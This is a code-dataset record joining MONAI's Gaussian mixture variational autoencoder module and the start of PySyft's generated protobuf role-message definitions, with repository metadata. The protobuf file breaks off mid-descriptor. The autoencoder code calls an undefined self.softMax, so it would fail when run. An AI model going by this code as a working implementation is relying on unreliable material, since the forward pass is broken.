bb0b307d68021a243011a58fd82a1d275f00a51a
[ "Apache-2.0" ]
null
null
null
monai/networks/nets/gmvae.py
albarqounilab/MONAI
bb0b307d68021a243011a58fd82a1d275f00a51a
[ "Apache-2.0" ]
null
null
null
import torch import torch.nn as nn import numpy as np from typing import Sequence from monai.networks.blocks import Convolution from monai.networks.layers.convutils import weights_init from monai.utils.misc import generate_tensor from monai.networks.nets.convolutional_autoencoders import * __all__ = ["GaussianMixtureVariationalAutoEncoder", "GaussianMixtureVariationalAutoEncoderBig"] class GaussianMixtureVariationalAutoEncoder(nn.Module): def __init__(self, dimensions: int, in_channels: int, dim_z: int, dim_w: int, dim_c: int, channels: Sequence[int], out_ch: int, strides: Sequence[int], kernel_size=5, norm='batch', act='leakyrelu', bottleneck=False, skip=False,norm_mean=0, norm_std=1): """ Variational Auto-Encoder :param dimensions: :param in_channels: :param dim_z: :param dim_w: :param dim_c :param channels: :param strides: :param kernel_size: :param norm: :param act: :param bottleneck: :param skip: :param norm_mean: :param norm_std: """ super(GaussianMixtureVariationalAutoEncoder, self).__init__() self.norm_mean = norm_mean self.norm_std = norm_std self.dim_c = dim_c self.encode = Encoder(dimensions=dimensions, in_channels=in_channels, channels=channels, strides=strides, kernel_size=kernel_size, norm=norm, act=act, name_prefix='ENC_') self.decode = Decoder(dimensions=dimensions, in_channels=in_channels, channels=channels, out_ch=out_ch, strides=strides, kernel_size=kernel_size, norm=norm, act=act, act_final='sigmoid', bottleneck=bottleneck, skip=skip, add_final=True, name_prefix='DEC_') z_channels = channels[-1] # Z self.z_mu_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_z, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='') self.z_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_z, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='') self.z_log_sigma_conv.apply(weights_init) # W self.w_mu_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_w, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='') self.w_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_w, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='') self.w_log_sigma_conv.apply(weights_init) # Z_WC self.z_wc_conv = Convolution(dimensions=dimensions, in_channels=dim_w, out_channels=channels[0], strides=1, kernel_size=1, conv_only=False, bias=True, norm='batch', act='relu', name='') self.z_wc_mu_conv = Convolution(dimensions=dimensions, in_channels=channels[0], out_channels=dim_z * dim_w, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu') self.z_wc_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=channels[0], out_channels=dim_z * dim_w, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu') self.z_wc_log_sigma_conv.apply(weights_init) def _latent_distribution(self, z_enc: torch): # q(z|x) z_mean = self.z_mu_conv(z_enc) z_log_sigma = self.z_log_sigma_conv(z_enc) z = z_mean + torch.exp(0.5 * z_log_sigma) * generate_tensor(z_mean) # q(w|x) w_mean = self.w_mu_conv(z_enc) w_log_sigma = self.w_log_sigma_conv(z_enc) w = w_mean + torch.exp(0.5 * w_log_sigma) * generate_tensor(w_mean) # posterior p(z|w,c) w_enc = self.z_wc_conv(w) z_wc_mean = self.z_wc_mu_conv(w_enc) z_wc_log_sigma = self.z_wc_log_sigma_conv(w_enc) z_wc = z_wc_mean + torch.exp(z_wc_log_sigma) * generate_tensor(z_wc_mean) # prior p(c) network z_sample = torch.tile(z, [1, self.dim_c, 1, 1]) pc_logit = -0.5 * torch.pow(torch.subtract(z_sample, z_wc_mean), 2) * torch.exp(z_wc_log_sigma) \ - z_wc_log_sigma + torch.log(torch.tensor(np.pi)) pc = self.softMax(pc_logit) return {'z': z, 'w': w, 'z_wc': z_wc, 'pc': pc} def _skip_forward(self, x: torch): # encoding network down_samples = [] z_enc = x for layer in self.encode: z_enc = layer(z_enc) if hasattr(layer, 'conv'): down_samples.append(z_enc) # latent return_dict = self._latent_distribution(z_enc) x_ = return_dict['z'] # decoding network for i, layer in enumerate(self.decode): if hasattr(layer, 'conv'): if layer.conv.stride[0] == 2: x_ = torch.cat((x_, down_samples[-i - 1]), 1) x_ = layer(x_) return x_, return_dict def forward(self, x: torch): # encode z_enc = self.encode(x) # latent return_dict = self._latent_distribution(z_enc) z = return_dict['z'] # decode x_ = self.decode(z) return x_, return_dict class GaussianMixtureVariationalAutoEncoderBig(nn.Module): def __init__(self, dimensions: int, in_channels: int, dim_z: int, dim_w: int, dim_c: int, channels: Sequence[int], out_ch: int, strides: Sequence[int], kernel_size=5, norm='batch', act='leakyrelu', bottleneck=False, skip=False, norm_mean=0, norm_std=1): """ :param dimensions: :param in_channels: :param dim_z: :param dim_w: :param channels: :param strides: :param kernel_size: :param norm: :param act: :param bottleneck: :param skip: :param norm_mean: :param norm_std: """ super(GaussianMixtureVariationalAutoEncoderBig, self).__init__() self.norm_mean = norm_mean self.norm_std = norm_std self.dim_c = dim_c self.skip = skip self.encode_down = Encoder(dimensions=dimensions, in_channels=in_channels, channels=channels, strides=strides, kernel_size=kernel_size, norm=norm, act=act, name_prefix='ENC_') self.encode_up = Decoder(dimensions=dimensions, in_channels=channels[-1], channels=channels, out_ch=channels[0], strides=strides, kernel_size=kernel_size, norm=norm, act=act, act_final='identity', bottleneck=bottleneck, skip=skip, add_final=False, name_prefix='ENC_') self.decode_down = Encoder(dimensions=dimensions, in_channels=in_channels, channels=channels, strides=strides, kernel_size=kernel_size, norm=norm, act=act, name_prefix='DEC_') self.decode_up = Decoder(dimensions=dimensions, in_channels=channels[-1], channels=channels, out_ch=out_ch, strides=strides, kernel_size=kernel_size, norm=norm, act=act, act_final='sigmoid', bottleneck=bottleneck, skip=skip, add_final=True, name_prefix='DEC_') z_channels = channels[0] # Z self.z_mu_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_z, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='') self.z_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_z, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='') self.z_log_sigma_conv.apply(weights_init) # W self.w_mu_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_w, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='') self.w_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_w, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='') self.w_log_sigma_conv.apply(weights_init) # Z_WC self.z_wc_conv = Convolution(dimensions=dimensions, in_channels=dim_w, out_channels=channels[0], strides=1, kernel_size=1, conv_only=False, bias=True, norm='batch', act='relu', name='') self.z_wc_mu_conv = Convolution(dimensions=dimensions, in_channels=channels[0], out_channels=dim_z*dim_w, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu') self.z_wc_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=channels[0], out_channels=dim_z*dim_w, strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu') self.z_wc_log_sigma_conv.apply(weights_init) def _latent_distribution(self, z_enc: torch): # q(z|x) z_mean = self.z_mu_conv(z_enc) z_log_sigma = self.z_log_sigma_conv(z_enc) z = z_mean + torch.exp(0.5 * z_log_sigma) * generate_tensor(z_mean) # q(w|x) w_mean = self.w_mu_conv(z_enc) w_log_sigma = self.w_log_sigma_conv(z_enc) w = w_mean + torch.exp(0.5 * w_log_sigma) * generate_tensor(w_mean) # posterior p(z|w,c) w_enc = self.z_wc_conv(w) z_wc_mean = self.z_wc_mu_conv(w_enc) z_wc_log_sigma = self.z_wc_log_sigma_conv(w_enc) z_wc = z_wc_mean + torch.exp(z_wc_log_sigma) * generate_tensor(z_wc_mean) # prior p(c) network z_sample = torch.tile(z, [1, self.dim_c, 1, 1]) pc_logit = -0.5 * torch.pow(torch.subtract(z_sample, z_wc_mean), 2) * torch.exp(z_wc_log_sigma) \ - z_wc_log_sigma + torch.log(torch.tensor(np.pi)) pc = self.softMax(pc_logit) return {'z': z, 'w': w, 'z_wc': z_wc, 'pc': pc} def _skip_forward(self, x: torch): # encoding network down_samples = [] z_enc = x for layer in self.encode_down: z_enc = layer(z_enc) if hasattr(layer, 'conv'): down_samples.append(z_enc) for i, layer in enumerate(self.decode_up): if hasattr(layer, 'conv'): if layer.conv.stride[0] == 2: z_enc = torch.cat((z_enc, down_samples[-i-1]), 1) z_enc = layer(z_enc) # latent return_dict = self._latent_distribution(z_enc) x_ = return_dict['z'] # decoding network down_samples = [] for layer in self.encode_down: down_samples.append(x_) x_ = layer(x_) for i, layer in enumerate(self.decode_up): x_ = layer(torch.cat((x_, down_samples[-i-1]), 1)) return x_, return_dict def forward(self, x: torch): if self.skip: return self._skip_forward(x) # encoding network z_enc = self.encode_up(self.encode_down(x)) # latent return_dict = self._latent_distribution(z_enc) z = return_dict['z'] # decoding network p(x|z) parameter x_ = self.decode_up(self.decode_down(z)) return x_, return_dict
45.156716
125
0.597257
1,600
12,102
4.211875
0.07375
0.016916
0.065292
0.089034
0.880991
0.864668
0.855171
0.85072
0.828461
0.81748
0
0.008775
0.293753
12,102
267
126
45.325843
0.779689
0.061808
0
0.75
0
0
0.028264
0.006953
0
0
0
0
0
1
0.04878
false
0
0.04878
0
0.152439
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ed9e92cd7647004f9b215a116f74fc70fbaf3764
48,407
py
Python
src/syft/proto/grid/messages/role_messages_pb2.py
dnabanita7/PySyft
ce2510e65f5bad382e88806bcde30fa38c3c76c4
[ "Apache-2.0" ]
2
2018-07-23T20:34:10.000Z
2020-08-01T09:09:09.000Z
packages/syft/src/syft/proto/grid/messages/role_messages_pb2.py
Metrix1010/PySyft
6477f64b63dc285059c3766deab3993653cead2e
[ "Apache-2.0" ]
5
2020-09-11T05:47:12.000Z
2020-10-13T08:36:17.000Z
packages/syft/src/syft/proto/grid/messages/role_messages_pb2.py
Metrix1010/PySyft
6477f64b63dc285059c3766deab3993653cead2e
[ "Apache-2.0" ]
1
2020-10-15T06:13:38.000Z
2020-10-15T06:13:38.000Z
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: proto/grid/messages/role_messages.proto """Generated protocol buffer code.""" # third party from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() # syft absolute from syft.proto.core.common import ( common_object_pb2 as proto_dot_core_dot_common_dot_common__object__pb2, ) from syft.proto.core.io import address_pb2 as proto_dot_core_dot_io_dot_address__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name="proto/grid/messages/role_messages.proto", package="syft.grid.messages", syntax="proto3", serialized_options=None, create_key=_descriptor._internal_create_key, serialized_pb=b'\n\'proto/grid/messages/role_messages.proto\x12\x12syft.grid.messages\x1a%proto/core/common/common_object.proto\x1a\x1bproto/core/io/address.proto"\x9c\x01\n\x11\x43reateRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x12\x43reateRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x99\x01\n\x0eGetRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x86\x01\n\x0fGetRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9a\x01\n\x0fGetRolesMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x87\x01\n\x10GetRolesResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9c\x01\n\x11SearchRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x12SearchRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9c\x01\n\x11UpdateRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x12UpdateRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9c\x01\n\x11\x44\x65leteRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x12\x44\x65leteRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Addressb\x06proto3', dependencies=[ proto_dot_core_dot_common_dot_common__object__pb2.DESCRIPTOR, proto_dot_core_dot_io_dot_address__pb2.DESCRIPTOR, ], ) _CREATEROLEMESSAGE = _descriptor.Descriptor( name="CreateRoleMessage", full_name="syft.grid.messages.CreateRoleMessage", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.CreateRoleMessage.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.CreateRoleMessage.address", index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.CreateRoleMessage.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="reply_to", full_name="syft.grid.messages.CreateRoleMessage.reply_to", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=132, serialized_end=288, ) _CREATEROLERESPONSE = _descriptor.Descriptor( name="CreateRoleResponse", full_name="syft.grid.messages.CreateRoleResponse", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.CreateRoleResponse.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="status_code", full_name="syft.grid.messages.CreateRoleResponse.status_code", index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.CreateRoleResponse.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.CreateRoleResponse.address", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=291, serialized_end=428, ) _GETROLEMESSAGE = _descriptor.Descriptor( name="GetRoleMessage", full_name="syft.grid.messages.GetRoleMessage", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.GetRoleMessage.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.GetRoleMessage.address", index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.GetRoleMessage.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="reply_to", full_name="syft.grid.messages.GetRoleMessage.reply_to", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=431, serialized_end=584, ) _GETROLERESPONSE = _descriptor.Descriptor( name="GetRoleResponse", full_name="syft.grid.messages.GetRoleResponse", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.GetRoleResponse.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="status_code", full_name="syft.grid.messages.GetRoleResponse.status_code", index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.GetRoleResponse.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.GetRoleResponse.address", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=587, serialized_end=721, ) _GETROLESMESSAGE = _descriptor.Descriptor( name="GetRolesMessage", full_name="syft.grid.messages.GetRolesMessage", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.GetRolesMessage.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.GetRolesMessage.address", index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.GetRolesMessage.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="reply_to", full_name="syft.grid.messages.GetRolesMessage.reply_to", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=724, serialized_end=878, ) _GETROLESRESPONSE = _descriptor.Descriptor( name="GetRolesResponse", full_name="syft.grid.messages.GetRolesResponse", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.GetRolesResponse.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="status_code", full_name="syft.grid.messages.GetRolesResponse.status_code", index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.GetRolesResponse.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.GetRolesResponse.address", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=881, serialized_end=1016, ) _SEARCHROLEMESSAGE = _descriptor.Descriptor( name="SearchRoleMessage", full_name="syft.grid.messages.SearchRoleMessage", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.SearchRoleMessage.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.SearchRoleMessage.address", index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.SearchRoleMessage.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="reply_to", full_name="syft.grid.messages.SearchRoleMessage.reply_to", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=1019, serialized_end=1175, ) _SEARCHROLERESPONSE = _descriptor.Descriptor( name="SearchRoleResponse", full_name="syft.grid.messages.SearchRoleResponse", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.SearchRoleResponse.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="status_code", full_name="syft.grid.messages.SearchRoleResponse.status_code", index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="content", full_name="syft.grid.messages.SearchRoleResponse.content", index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode("utf-8"), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.SearchRoleResponse.address", index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=1178, serialized_end=1315, ) _UPDATEROLEMESSAGE = _descriptor.Descriptor( name="UpdateRoleMessage", full_name="syft.grid.messages.UpdateRoleMessage", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="msg_id", full_name="syft.grid.messages.UpdateRoleMessage.msg_id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="address", full_name="syft.grid.messages.UpdateRoleMessage.address", index=1, number=2, type=11, 